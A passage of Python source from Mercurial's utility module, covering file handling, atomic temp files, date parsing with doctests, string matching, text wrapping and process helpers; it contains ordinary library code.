     try:
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
         fd = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
         if fd is not None:
             fd.close()
         for f in (f1, f2):
             try:
                 os.unlink(f)
             except OSError:
                 pass
 
 def endswithsep(path):
     '''Check path ends with os.sep or os.altsep.'''
     return (path.endswith(pycompat.ossep)
             or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
 
 def splitpath(path):
     '''Split path by os.sep.
     Note that this function does not use os.altsep because this is
     an alternative of simple "xxx.split(os.sep)".
     It is recommended to use os.path.normpath() before using this
     function if need.'''
     return path.split(pycompat.ossep)
 
 def gui():
     '''Are we running in a GUI?'''
     if pycompat.sysplatform == 'darwin':
         if 'SSH_CONNECTION' in encoding.environ:
             # handle SSH access to a box where the user is logged in
             return False
         elif getattr(osutil, 'isgui', None):
             # check if a CoreGraphics session is available
             return osutil.isgui()
         else:
             # pure build; use a safe default
             return True
     else:
         return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
 
 def mktempcopy(name, emptyok=False, createmode=None):
     """Create a temporary file with the same contents from name
 
     The permission bits are copied from the original file.
 
     If the temporary file is going to be truncated immediately, you
     can use emptyok=True as an optimization.
 
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
     fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
     # its mode.  Otherwise, manually obey umask.
     copymode(name, temp, createmode)
     if emptyok:
         return temp
     try:
         try:
             ifp = posixfile(name, "rb")
         except IOError as inst:
             if inst.errno == errno.ENOENT:
                 return temp
             if not getattr(inst, 'filename', None):
                 inst.filename = name
             raise
         ofp = posixfile(temp, "wb")
         for chunk in filechunkiter(ifp):
             ofp.write(chunk)
         ifp.close()
         ofp.close()
     except: # re-raises
         try: os.unlink(temp)
         except OSError: pass
         raise
     return temp
 
 class filestat(object):
     """help to exactly detect change of a file
 
     'stat' attribute is result of 'os.stat()' if specified 'path'
     exists. Otherwise, it is None. This can avoid preparative
     'exists()' examination on client side of this class.
     """
     def __init__(self, stat):
         self.stat = stat
 
     @classmethod
     def frompath(cls, path):
         try:
             stat = os.stat(path)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             stat = None
         return cls(stat)
 
     @classmethod
     def fromfp(cls, fp):
         stat = os.fstat(fp.fileno())
         return cls(stat)
 
     __hash__ = object.__hash__
 
     def __eq__(self, old):
         try:
             # if ambiguity between stat of new and old file is
             # avoided, comparison of size, ctime and mtime is enough
             # to exactly detect change of a file regardless of platform
             return (self.stat.st_size == old.stat.st_size and
                     self.stat.st_ctime == old.stat.st_ctime and
                     self.stat.st_mtime == old.stat.st_mtime)
         except AttributeError:
             pass
         try:
             return self.stat is None and old.stat is None
         except AttributeError:
             return False
 
     def isambig(self, old):
         """Examine whether new (= self) stat is ambiguous against old one
 
         "S[N]" below means stat of a file at N-th change:
 
         - S[n-1].ctime  < S[n].ctime: can detect change of a file
         - S[n-1].ctime == S[n].ctime
           - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
           - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
           - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
         - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
 
         Case (*2) above means that a file was changed twice or more at
         same time in sec (= S[n-1].ctime), and comparison of timestamp
         is ambiguous.
 
         Base idea to avoid such ambiguity is "advance mtime 1 sec, if
         timestamp is ambiguous".
 
         But advancing mtime only in case (*2) doesn't work as
         expected, because naturally advanced S[n].mtime in case (*1)
         might be equal to manually advanced S[n-1 or earlier].mtime.
 
         Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
         treated as ambiguous regardless of mtime, to avoid overlooking
         by confliction between such mtime.
 
         Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
         S[n].mtime", even if size of a file isn't changed.
         """
         try:
             return (self.stat.st_ctime == old.stat.st_ctime)
         except AttributeError:
             return False
 
     def avoidambig(self, path, old):
         """Change file stat of specified path to avoid ambiguity
 
         'old' should be previous filestat of 'path'.
 
         This skips avoiding ambiguity, if a process doesn't have
         appropriate privileges for 'path'. This returns False in this
         case.
 
         Otherwise, this returns True, as "ambiguity is avoided".
         """
         advanced = (old.stat.st_mtime + 1) & 0x7fffffff
         try:
             os.utime(path, (advanced, advanced))
         except OSError as inst:
             if inst.errno == errno.EPERM:
                 # utime() on the file created by another user causes EPERM,
                 # if a process doesn't have appropriate privileges
                 return False
             raise
         return True
 
     def __ne__(self, other):
         return not self == other
 
 class atomictempfile(object):
     '''writable file object that atomically updates a file
 
     All writes will go to a temporary copy of the original file. Call
     close() when you are done writing, and atomictempfile will rename
     the temporary copy to the original name, making the changes
     visible. If the object is destroyed without being closed, all your
     writes are discarded.
 
     checkambig argument of constructor is used with filestat, and is
     useful only if target file is guarded by any lock (e.g. repo.lock
     or repo.wlock).
     '''
     def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
         self.__name = name      # permanent name
         self._tempname = mktempcopy(name, emptyok=('w' in mode),
                                     createmode=createmode)
         self._fp = posixfile(self._tempname, mode)
         self._checkambig = checkambig
 
         # delegated methods
         self.read = self._fp.read
         self.write = self._fp.write
         self.seek = self._fp.seek
         self.tell = self._fp.tell
         self.fileno = self._fp.fileno
 
     def close(self):
         if not self._fp.closed:
             self._fp.close()
             filename = localpath(self.__name)
             oldstat = self._checkambig and filestat.frompath(filename)
             if oldstat and oldstat.stat:
                 rename(self._tempname, filename)
                 newstat = filestat.frompath(filename)
                 if newstat.isambig(oldstat):
                     # stat of changed file is ambiguous to original one
                     advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
                     os.utime(filename, (advanced, advanced))
             else:
                 rename(self._tempname, filename)
 
     def discard(self):
         if not self._fp.closed:
             try:
                 os.unlink(self._tempname)
             except OSError:
                 pass
             self._fp.close()
 
     def __del__(self):
         if safehasattr(self, '_fp'): # constructor actually did something
             self.discard()
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, traceback):
         if exctype is not None:
             self.discard()
         else:
             self.close()
 
 def unlinkpath(f, ignoremissing=False):
     """unlink and remove the directory if it is empty"""
     if ignoremissing:
         tryunlink(f)
     else:
         unlink(f)
     # try removing directories that might now be empty
     try:
         removedirs(os.path.dirname(f))
     except OSError:
         pass
 
 def tryunlink(f):
     """Attempt to remove a file, ignoring ENOENT errors."""
     try:
         unlink(f)
     except OSError as e:
         if e.errno != errno.ENOENT:
             raise
 
 def makedirs(name, mode=None, notindexed=False):
     """recursive directory creation with parent mode inheritance
 
     Newly created directories are marked as "not to be indexed by
     the content indexing service", if ``notindexed`` is specified
     for "write" mode access.
     """
     try:
         makedir(name, notindexed)
     except OSError as err:
         if err.errno == errno.EEXIST:
             return
         if err.errno != errno.ENOENT or not name:
             raise
         parent = os.path.dirname(os.path.abspath(name))
         if parent == name:
             raise
         makedirs(parent, mode, notindexed)
         try:
             makedir(name, notindexed)
         except OSError as err:
             # Catch EEXIST to handle races
             if err.errno == errno.EEXIST:
                 return
             raise
     if mode is not None:
         os.chmod(name, mode)
 
 def readfile(path):
     with open(path, 'rb') as fp:
         return fp.read()
 
 def writefile(path, text):
     with open(path, 'wb') as fp:
         fp.write(text)
 
 def appendfile(path, text):
     with open(path, 'ab') as fp:
         fp.write(text)
 
 class chunkbuffer(object):
     """Allow arbitrary sized chunks of data to be efficiently read from an
     iterator over chunks of arbitrary size."""
 
     def __init__(self, in_iter):
         """in_iter is the iterator that's iterating over the input chunks."""
         def splitbig(chunks):
             for chunk in chunks:
                 if len(chunk) > 2**20:
                     pos = 0
                     while pos < len(chunk):
                         end = pos + 2 ** 18
                         yield chunk[pos:end]
                         pos = end
                 else:
                     yield chunk
         self.iter = splitbig(in_iter)
         self._queue = collections.deque()
         self._chunkoffset = 0
 
     def read(self, l=None):
         """Read L bytes of data from the iterator of chunks of data.
         Returns less than L bytes if the iterator runs dry.
 
         If size parameter is omitted, read everything"""
         if l is None:
             return ''.join(self.iter)
 
         left = l
         buf = []
         queue = self._queue
         while left > 0:
             # refill the queue
             if not queue:
                 target = 2**18
                 for chunk in self.iter:
                     queue.append(chunk)
                     target -= len(chunk)
                     if target <= 0:
                         break
                 if not queue:
                     break
 
             # The easy way to do this would be to queue.popleft(), modify the
             # chunk (if necessary), then queue.appendleft(). However, for cases
             # where we read partial chunk content, this incurs 2 dequeue
             # mutations and creates a new str for the remaining chunk in the
             # queue. Our code below avoids this overhead.
 
             chunk = queue[0]
             chunkl = len(chunk)
             offset = self._chunkoffset
 
             # Use full chunk.
             if offset == 0 and left >= chunkl:
                 left -= chunkl
                 queue.popleft()
                 buf.append(chunk)
                 # self._chunkoffset remains at 0.
                 continue
 
             chunkremaining = chunkl - offset
 
             # Use all of unconsumed part of chunk.
             if left >= chunkremaining:
                 left -= chunkremaining
                 queue.popleft()
                 # offset == 0 is enabled by block above, so this won't merely
                 # copy via ``chunk[0:]``.
                 buf.append(chunk[offset:])
                 self._chunkoffset = 0
 
             # Partial chunk needed.
             else:
                 buf.append(chunk[offset:offset + left])
                 self._chunkoffset += left
                 left -= chunkremaining
 
         return ''.join(buf)
 
 def filechunkiter(f, size=131072, limit=None):
     """Create a generator that produces the data in the file size
     (default 131072) bytes at a time, up to optional limit (default is
     to read all data).  Chunks may be less than size bytes if the
     chunk is the last chunk in the file, or the file is a socket or
     some other type of file that sometimes reads less data than is
     requested."""
     assert size >= 0
     assert limit is None or limit >= 0
     while True:
         if limit is None:
             nbytes = size
         else:
             nbytes = min(limit, size)
         s = nbytes and f.read(nbytes)
         if not s:
             break
         if limit:
             limit -= len(s)
         yield s
 
 def makedate(timestamp=None):
     '''Return a unix timestamp (or the current time) as a (unixtime,
     offset) tuple based off the local timezone.'''
     if timestamp is None:
         timestamp = time.time()
     if timestamp < 0:
         hint = _("check your clock")
         raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
     delta = (datetime.datetime.utcfromtimestamp(timestamp) -
              datetime.datetime.fromtimestamp(timestamp))
     tz = delta.days * 86400 + delta.seconds
     return timestamp, tz
 
 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
     """represent a (unixtime, offset) tuple as a localized time.
     unixtime is seconds since the epoch, and offset is the time zone's
     number of seconds away from UTC.
 
     >>> datestr((0, 0))
     'Thu Jan 01 00:00:00 1970 +0000'
     >>> datestr((42, 0))
     'Thu Jan 01 00:00:42 1970 +0000'
     >>> datestr((-42, 0))
     'Wed Dec 31 23:59:18 1969 +0000'
     >>> datestr((0x7fffffff, 0))
     'Tue Jan 19 03:14:07 2038 +0000'
     >>> datestr((-0x80000000, 0))
     'Fri Dec 13 20:45:52 1901 +0000'
     """
     t, tz = date or makedate()
     if "%1" in format or "%2" in format or "%z" in format:
         sign = (tz > 0) and "-" or "+"
         minutes = abs(tz) // 60
         q, r = divmod(minutes, 60)
         format = format.replace("%z", "%1%2")
         format = format.replace("%1", "%c%02d" % (sign, q))
         format = format.replace("%2", "%02d" % r)
     d = t - tz
     if d > 0x7fffffff:
         d = 0x7fffffff
     elif d < -0x80000000:
         d = -0x80000000
     # Never use time.gmtime() and datetime.datetime.fromtimestamp()
     # because they use the gmtime() system call which is buggy on Windows
     # for negative values.
     t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
     s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
     return s
 
 def shortdate(date=None):
     """turn (timestamp, tzoff) tuple into iso 8631 date."""
     return datestr(date, format='%Y-%m-%d')
 
 def parsetimezone(s):
     """find a trailing timezone, if any, in string, and return a
        (offset, remainder) pair"""
 
     if s.endswith("GMT") or s.endswith("UTC"):
         return 0, s[:-3].rstrip()
 
     # Unix-style timezones [+-]hhmm
     if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
         sign = (s[-5] == "+") and 1 or -1
         hours = int(s[-4:-2])
         minutes = int(s[-2:])
         return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
 
     # ISO8601 trailing Z
     if s.endswith("Z") and s[-2:-1].isdigit():
         return 0, s[:-1]
 
     # ISO8601-style [+-]hh:mm
     if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
         s[-5:-3].isdigit() and s[-2:].isdigit()):
         sign = (s[-6] == "+") and 1 or -1
         hours = int(s[-5:-3])
         minutes = int(s[-2:])
         return -sign * (hours * 60 + minutes) * 60, s[:-6]
 
     return None, s
 
 def strdate(string, format, defaults=None):
     """parse a localized time string and return a (unixtime, offset) tuple.
     if the string cannot be parsed, ValueError is raised."""
     if defaults is None:
         defaults = {}
 
     # NOTE: unixtime = localunixtime + offset
     offset, date = parsetimezone(string)
 
     # add missing elements from defaults
     usenow = False # default to using biased defaults
     for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
         part = pycompat.bytestr(part)
         found = [True for p in part if ("%"+p) in format]
         if not found:
             date += "@" + defaults[part][usenow]
             format += "@%" + part[0]
         else:
             # We've found a specific time element, less specific time
             # elements are relative to today
             usenow = True
 
     timetuple = time.strptime(encoding.strfromlocal(date),
                               encoding.strfromlocal(format))
     localunixtime = int(calendar.timegm(timetuple))
     if offset is None:
         # local timezone
         unixtime = int(time.mktime(timetuple))
         offset = unixtime - localunixtime
     else:
         unixtime = localunixtime + offset
     return unixtime, offset
 
 def parsedate(date, formats=None, bias=None):
     """parse a localized date/time and return a (unixtime, offset) tuple.
 
     The date may be a "unixtime offset" string or in one of the specified
     formats. If the date already is a (unixtime, offset) tuple, it is returned.
 
     >>> parsedate(' today ') == parsedate(\
                                   datetime.date.today().strftime('%b %d'))
     True
     >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
                                                datetime.timedelta(days=1)\
                                               ).strftime('%b %d'))
     True
     >>> now, tz = makedate()
     >>> strnow, strtz = parsedate('now')
     >>> (strnow - now) < 1
     True
     >>> tz == strtz
     True
     """
     if bias is None:
         bias = {}
     if not date:
         return 0, 0
     if isinstance(date, tuple) and len(date) == 2:
         return date
     if not formats:
         formats = defaultdateformats
     date = date.strip()
 
     if date == 'now' or date == _('now'):
         return makedate()
     if date == 'today' or date == _('today'):
         date = datetime.date.today().strftime('%b %d')
     elif date == 'yesterday' or date == _('yesterday'):
         date = (datetime.date.today() -
                 datetime.timedelta(days=1)).strftime('%b %d')
 
     try:
         when, offset = map(int, date.split(' '))
     except ValueError:
         # fill out defaults
         now = makedate()
         defaults = {}
         for part in ("d", "mb", "yY", "HI", "M", "S"):
             # this piece is for rounding the specific end of unknowns
             b = bias.get(part)
             if b is None:
                 if part[0:1] in "HMS":
                     b = "00"
                 else:
                     b = "0"
 
             # this piece is for matching the generic end to today's date
             n = datestr(now, "%" + part[0:1])
 
             defaults[part] = (b, n)
 
         for format in formats:
             try:
                 when, offset = strdate(date, format, defaults)
             except (ValueError, OverflowError):
                 pass
             else:
                 break
         else:
             raise error.ParseError(_('invalid date: %r') % date)
     # validate explicit (probably user-specified) date and
     # time zone offset. values must fit in signed 32 bits for
     # current 32-bit linux runtimes. timezones go from UTC-12
     # to UTC+14
     if when < -0x80000000 or when > 0x7fffffff:
         raise error.ParseError(_('date exceeds 32 bits: %d') % when)
     if offset < -50400 or offset > 43200:
         raise error.ParseError(_('impossible time zone offset: %d') % offset)
     return when, offset
 
 def matchdate(date):
     """Return a function that matches a given date match specifier
 
     Formats include:
 
     '{date}' match a given date to the accuracy provided
 
     '<{date}' on or before a given date
 
     '>{date}' on or after a given date
 
     >>> p1 = parsedate("10:29:59")
     >>> p2 = parsedate("10:30:00")
     >>> p3 = parsedate("10:30:59")
     >>> p4 = parsedate("10:31:00")
     >>> p5 = parsedate("Sep 15 10:30:00 1999")
     >>> f = matchdate("10:30")
     >>> f(p1[0])
     False
     >>> f(p2[0])
     True
     >>> f(p3[0])
     True
     >>> f(p4[0])
     False
     >>> f(p5[0])
     False
     """
 
     def lower(date):
         d = {'mb': "1", 'd': "1"}
         return parsedate(date, extendeddateformats, d)[0]
 
     def upper(date):
         d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
         for days in ("31", "30", "29"):
             try:
                 d["d"] = days
                 return parsedate(date, extendeddateformats, d)[0]
             except Abort:
                 pass
         d["d"] = "28"
         return parsedate(date, extendeddateformats, d)[0]
 
     date = date.strip()
 
     if not date:
         raise Abort(_("dates cannot consist entirely of whitespace"))
     elif date[0] == "<":
         if not date[1:]:
             raise Abort(_("invalid day spec, use '<DATE'"))
         when = upper(date[1:])
         return lambda x: x <= when
     elif date[0] == ">":
         if not date[1:]:
             raise Abort(_("invalid day spec, use '>DATE'"))
         when = lower(date[1:])
         return lambda x: x >= when
     elif date[0] == "-":
         try:
             days = int(date[1:])
         except ValueError:
             raise Abort(_("invalid day spec: %s") % date[1:])
         if days < 0:
             raise Abort(_("%s must be nonnegative (see 'hg help dates')")
                 % date[1:])
         when = makedate()[0] - days * 3600 * 24
         return lambda x: x >= when
     elif " to " in date:
         a, b = date.split(" to ")
         start, stop = lower(a), upper(b)
         return lambda x: x >= start and x <= stop
     else:
         start, stop = lower(date), upper(date)
         return lambda x: x >= start and x <= stop
 
 def stringmatcher(pattern, casesensitive=True):
     """
     accepts a string, possibly starting with 're:' or 'literal:' prefix.
     returns the matcher name, pattern, and matcher function.
     missing or unknown prefixes are treated as literal matches.
 
     helper for tests:
     >>> def test(pattern, *tests):
     ...     kind, pattern, matcher = stringmatcher(pattern)
     ...     return (kind, pattern, [bool(matcher(t)) for t in tests])
     >>> def itest(pattern, *tests):
     ...     kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
     ...     return (kind, pattern, [bool(matcher(t)) for t in tests])
 
     exact matching (no prefix):
     >>> test('abcdefg', 'abc', 'def', 'abcdefg')
     ('literal', 'abcdefg', [False, False, True])
 
     regex matching ('re:' prefix)
     >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
     ('re', 'a.+b', [False, False, True])
 
     force exact matches ('literal:' prefix)
     >>> test('literal:re:foobar', 'foobar', 're:foobar')
     ('literal', 're:foobar', [False, True])
 
     unknown prefixes are ignored and treated as literals
     >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
     ('literal', 'foo:bar', [False, False, True])
 
     case insensitive regex matches
     >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
     ('re', 'A.+b', [False, False, True])
 
     case insensitive literal matches
     >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
     ('literal', 'ABCDEFG', [False, False, True])
     """
     if pattern.startswith('re:'):
         pattern = pattern[3:]
         try:
             flags = 0
             if not casesensitive:
                 flags = remod.I
             regex = remod.compile(pattern, flags)
         except remod.error as e:
             raise error.ParseError(_('invalid regular expression: %s')
                                    % e)
         return 're', pattern, regex.search
     elif pattern.startswith('literal:'):
         pattern = pattern[8:]
 
     match = pattern.__eq__
 
     if not casesensitive:
         ipat = encoding.lower(pattern)
         match = lambda s: ipat == encoding.lower(s)
     return 'literal', pattern, match
 
 def shortuser(user):
     """Return a short representation of a user name or email address."""
     f = user.find('@')
     if f >= 0:
         user = user[:f]
     f = user.find('<')
     if f >= 0:
         user = user[f + 1:]
     f = user.find(' ')
     if f >= 0:
         user = user[:f]
     f = user.find('.')
     if f >= 0:
         user = user[:f]
     return user
 
 def emailuser(user):
     """Return the user portion of an email address."""
     f = user.find('@')
     if f >= 0:
         user = user[:f]
     f = user.find('<')
     if f >= 0:
         user = user[f + 1:]
     return user
 
 def email(author):
     '''get email of author.'''
     r = author.find('>')
     if r == -1:
         r = None
     return author[author.find('<') + 1:r]
 
 def ellipsis(text, maxlength=400):
     """Trim string to at most maxlength (default: 400) columns in display."""
     return encoding.trim(text, maxlength, ellipsis='...')
 
 def unitcountfn(*unittable):
     '''return a function that renders a readable count of some quantity'''
 
     def go(count):
         for multiplier, divisor, format in unittable:
             if abs(count) >= divisor * multiplier:
                 return format % (count / float(divisor))
         return unittable[-1][2] % count
 
     return go
 
 def processlinerange(fromline, toline):
     """Check that linerange <fromline>:<toline> makes sense and return a
     0-based range.
 
     >>> processlinerange(10, 20)
     (9, 20)
     >>> processlinerange(2, 1)
     Traceback (most recent call last):
         ...
     ParseError: line range must be positive
     >>> processlinerange(0, 5)
     Traceback (most recent call last):
         ...
     ParseError: fromline must be strictly positive
     """
     if toline - fromline < 0:
         raise error.ParseError(_("line range must be positive"))
     if fromline < 1:
         raise error.ParseError(_("fromline must be strictly positive"))
     return fromline - 1, toline
 
 bytecount = unitcountfn(
     (100, 1 << 30, _('%.0f GB')),
     (10, 1 << 30, _('%.1f GB')),
     (1, 1 << 30, _('%.2f GB')),
     (100, 1 << 20, _('%.0f MB')),
     (10, 1 << 20, _('%.1f MB')),
     (1, 1 << 20, _('%.2f MB')),
     (100, 1 << 10, _('%.0f KB')),
     (10, 1 << 10, _('%.1f KB')),
     (1, 1 << 10, _('%.2f KB')),
     (1, 1, _('%.0f bytes')),
     )
 
 # Matches a single EOL which can either be a CRLF where repeated CR
 # are removed or a LF. We do not care about old Macintosh files, so a
 # stray CR is an error.
 _eolre = remod.compile(br'\r*\n')
 
 def tolf(s):
     return _eolre.sub('\n', s)
 
 def tocrlf(s):
     return _eolre.sub('\r\n', s)
 
 if pycompat.oslinesep == '\r\n':
     tonativeeol = tocrlf
     fromnativeeol = tolf
 else:
     tonativeeol = pycompat.identity
     fromnativeeol = pycompat.identity
 
 def escapestr(s):
     # call underlying function of s.encode('string_escape') directly for
     # Python 3 compatibility
     return codecs.escape_encode(s)[0]
 
 def unescapestr(s):
     return codecs.escape_decode(s)[0]
 
 def uirepr(s):
     # Avoid double backslash in Windows path repr()
     return repr(s).replace('\\\\', '\\')
 
 # delay import of textwrap
 def MBTextWrapper(**kwargs):
     class tw(textwrap.TextWrapper):
         """
         Extend TextWrapper for width-awareness.
 
         Neither number of 'bytes' in any encoding nor 'characters' is
         appropriate to calculate terminal columns for specified string.
 
         Original TextWrapper implementation uses built-in 'len()' directly,
         so overriding is needed to use width information of each characters.
 
         In addition, characters classified into 'ambiguous' width are
         treated as wide in East Asian area, but as narrow in other.
 
         This requires use decision to determine width of such characters.
         """
         def _cutdown(self, ucstr, space_left):
             l = 0
             colwidth = encoding.ucolwidth
             for i in xrange(len(ucstr)):
                 l += colwidth(ucstr[i])
                 if space_left < l:
                     return (ucstr[:i], ucstr[i:])
             return ucstr, ''
 
         # overriding of base class
         def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
             space_left = max(width - cur_len, 1)
 
             if self.break_long_words:
                 cut, res = self._cutdown(reversed_chunks[-1], space_left)
                 cur_line.append(cut)
                 reversed_chunks[-1] = res
             elif not cur_line:
                 cur_line.append(reversed_chunks.pop())
 
         # this overriding code is imported from TextWrapper of Python 2.6
         # to calculate columns of string by 'encoding.ucolwidth()'
         def _wrap_chunks(self, chunks):
             colwidth = encoding.ucolwidth
 
             lines = []
             if self.width <= 0:
                 raise ValueError("invalid width %r (must be > 0)" % self.width)
 
             # Arrange in reverse order so items can be efficiently popped
             # from a stack of chucks.
             chunks.reverse()
 
             while chunks:
 
                 # Start the list of chunks that will make up the current line.
                 # cur_len is just the length of all the chunks in cur_line.
                 cur_line = []
                 cur_len = 0
 
                 # Figure out which static string will prefix this line.
                 if lines:
                     indent = self.subsequent_indent
                 else:
                     indent = self.initial_indent
 
                 # Maximum width for this line.
                 width = self.width - len(indent)
 
                 # First chunk on line is whitespace -- drop it, unless this
                 # is the very beginning of the text (i.e. no lines started yet).
                 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
                     del chunks[-1]
 
                 while chunks:
                     l = colwidth(chunks[-1])
 
                     # Can at least squeeze this chunk onto the current line.
                     if cur_len + l <= width:
                         cur_line.append(chunks.pop())
                         cur_len += l
 
                     # Nope, this line is full.
                     else:
                         break
 
                 # The current line is full, and the next chunk is too big to
                 # fit on *any* line (not just this one).
                 if chunks and colwidth(chunks[-1]) > width:
                     self._handle_long_word(chunks, cur_line, cur_len, width)
 
                 # If the last chunk on this line is all whitespace, drop it.
                 if (self.drop_whitespace and
                     cur_line and cur_line[-1].strip() == r''):
                     del cur_line[-1]
 
                 # Convert current line back to a string and store it in list
                 # of all lines (return value).
                 if cur_line:
                     lines.append(indent + r''.join(cur_line))
 
             return lines
 
     global MBTextWrapper
     MBTextWrapper = tw
     return tw(**kwargs)
 
 def wrap(line, width, initindent='', hangindent=''):
     maxindent = max(len(hangindent), len(initindent))
     if width <= maxindent:
         # adjust for weird terminal size
         width = max(78, maxindent + 1)
     line = line.decode(pycompat.sysstr(encoding.encoding),
                     pycompat.sysstr(encoding.encodingmode))
     initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
                     pycompat.sysstr(encoding.encodingmode))
     hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
                     pycompat.sysstr(encoding.encodingmode))
     wrapper = MBTextWrapper(width=width,
                             initial_indent=initindent,
                             subsequent_indent=hangindent)
     return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
 
 if (pyplatform.python_implementation() == 'CPython' and
     sys.version_info < (3, 0)):
     # There is an issue in CPython that some IO methods do not handle EINTR
     # correctly. The following table shows what CPython version (and functions)
     # are affected (buggy: has the EINTR bug, okay: otherwise):
     #
     #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
     #   --------------------------------------------------
     #    fp.__iter__ | buggy   | buggy           | okay
     #    fp.read*    | buggy   | okay [1]        | okay
     #
     # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
     #
     # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
     # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
     #
     # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
     # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
     # CPython 2, because CPython 2 maintains an internal readahead buffer for
     # fp.__iter__ but not other fp.read* methods.
     #
     # On modern systems like Linux, the "read" syscall cannot be interrupted
     # when reading "fast" files like on-disk files. So the EINTR issue only
     # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
     # files approximately as "fast" files and use the fast (unsafe) code path,
     # to minimize the performance impact.
     if sys.version_info >= (2, 7, 4):
         # fp.readline deals with EINTR correctly, use it as a workaround.
         def _safeiterfile(fp):
             return iter(fp.readline, '')
     else:
         # fp.read* are broken too, manually deal with EINTR in a stupid way.
         # note: this may block longer than necessary because of bufsize.
         def _safeiterfile(fp, bufsize=4096):
             fd = fp.fileno()
             line = ''
             while True:
                 try:
                     buf = os.read(fd, bufsize)
                 except OSError as ex:
                     # os.read only raises EINTR before any data is read
                     if ex.errno == errno.EINTR:
                         continue
                     else:
                         raise
                 line += buf
                 if '\n' in buf:
                     splitted = line.splitlines(True)
                     line = ''
                     for l in splitted:
                         if l[-1] == '\n':
                             yield l
                         else:
                             line = l
                 if not buf:
                     break
             if line:
                 yield line
 
     def iterfile(fp):
         fastpath = True
         if type(fp) is file:
             fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
         if fastpath:
             return fp
         else:
             return _safeiterfile(fp)
 else:
     # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
     def iterfile(fp):
         return fp
 
 def iterlines(iterator):
     for chunk in iterator:
         for line in chunk.splitlines():
             yield line
 
 def expandpath(path):
     return os.path.expanduser(os.path.expandvars(path))
 
 def hgcmd():
     """Return the command used to execute current hg
 
     This is different from hgexecutable() because on Windows we want
     to avoid things opening new shell windows like batch files, so we
     get either the python call or current executable.
     """
     if mainfrozen():
         if getattr(sys, 'frozen', None) == 'macosx_app':
             # Env variable set by py2app
             return [encoding.environ['EXECUTABLEPATH']]
         else:
             return [pycompat.sysexecutable]
     return gethgcmd()
 
 def rundetached(args, condfn):
     """Execute the argument list in a detached process.
 
     condfn is a callable which is called repeatedly and should return
     True once the child process is known to have started successfully.
     At this point, the child process PID is returned. If the child
     process fails to start or finishes before condfn() evaluates to
     True, return -1.
     """
     # Windows case is easier because the child process is either
     # successfully starting and validating the condition or exiting
     # on failure. We just poll on its PID. On Unix, if the child
     # process fails to start, it will be left in a zombie state until
     # the parent wait on it, which we cannot do since we expect a long
     # running process on success. Instead we listen for SIGCHLD telling
     # us our child process terminated.
     terminated = set()
     def handler(signum, frame):
         terminated.add(os.wait())
     prevhandler = None
     SIGCHLD = getattr(signal, 'SIGCHLD', None)
     if SIGCHLD is not None:
         prevhandler = signal.signal(SIGCHLD, handler)
     try:
         pid = spawndetached(args)
         while not condfn():
             if ((pid in terminated or not testpid(pid))
                 and not condfn()):
                 return -1
             time.sleep(0.1)
         return pid
     finally:
         if prevhandler is not None:
             signal.signal(signal.SIGCHLD, prevhandler)
 
 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
     """Return the result of interpolating items in the mapping into string s.
 
     prefix is a single character string, or a two character string with
     a backslash as the first character if the prefix needs to be escaped in
     a regular expression.
 
     fn is an optional function that will be applied to the replacement text
     just before replacement.
 
     escape_prefix is an optional flag that allows using doubled prefix for
     its escaping.
     """
     fn = fn or (lambda s: s)
     patterns = '|'.join(mapping.keys())
     if escape_prefix:
         patterns += '|' + prefix
         if len(prefix) > 1:
             prefix_char = prefix[1:]
         else:
             prefix_char = prefix
         mapping[prefix_char] = prefix_char
     r = remod.compile(r'%s(%s)' % (prefix, patterns))
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 def getport(port):
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(port)
     except socket.error:
